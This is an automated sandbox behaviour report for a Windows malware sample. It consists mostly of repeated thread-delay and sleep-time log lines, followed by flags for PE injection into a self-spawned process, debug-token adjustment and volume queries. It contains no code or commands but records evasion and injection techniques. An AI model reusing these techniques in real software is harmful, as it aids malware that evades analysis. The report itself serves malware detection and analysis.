Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595389	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595266	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595024	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594359	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594250	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594140	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594031	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 593922	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Window / User API: threadDelayed 1634	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Window / User API: threadDelayed 1110	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Window / User API: threadDelayed 3260	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Window / User API: threadDelayed 6570	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -239874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -239766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -239641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -239516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -239405s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -239297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -239188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -239063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -238938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -238828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -238716s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -238608s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5772	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -238500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -238391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 5300	Thread sleep time: -238200s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 1720	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -35048813740048126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7308	Thread sleep count: 3260 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -599874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7308	Thread sleep count: 6570 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -599749s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -599526s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -599406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -599281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -598718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -598609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -598500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -598390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -598281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -598169s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -598047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -597937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -597824s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -597594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -597483s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -597375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -597265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -597047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -596827s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -596719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -596609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -596498s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -596387s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -596274s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -596159s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -596040s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -595907s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -595500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -595389s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -595266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -595156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -595024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -594906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -594797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -594687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -594578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -594469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -594359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -594250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -594140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -594031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe TID: 7276	Thread sleep time: -593922s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 240000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239874	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239766	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239641	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239516	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239405	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239297	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239188	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239063	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 238938	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 238828	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 238716	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 238608	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 238500	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 238391	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 238200	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 599749	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 599526	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 599281	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598718	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598500	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598390	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598169	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597824	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597483	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596827	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596498	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596387	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596274	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596159	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596040	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595907	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595389	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595266	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595024	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594359	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594250	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594140	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 594031	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 593922	Jump to behavior

Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.00000000029F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^qEmultipart/form-data; boundary=------------------------8dd5132f24c205a<
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4165444281.0000000000B57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Memory written: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe"

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
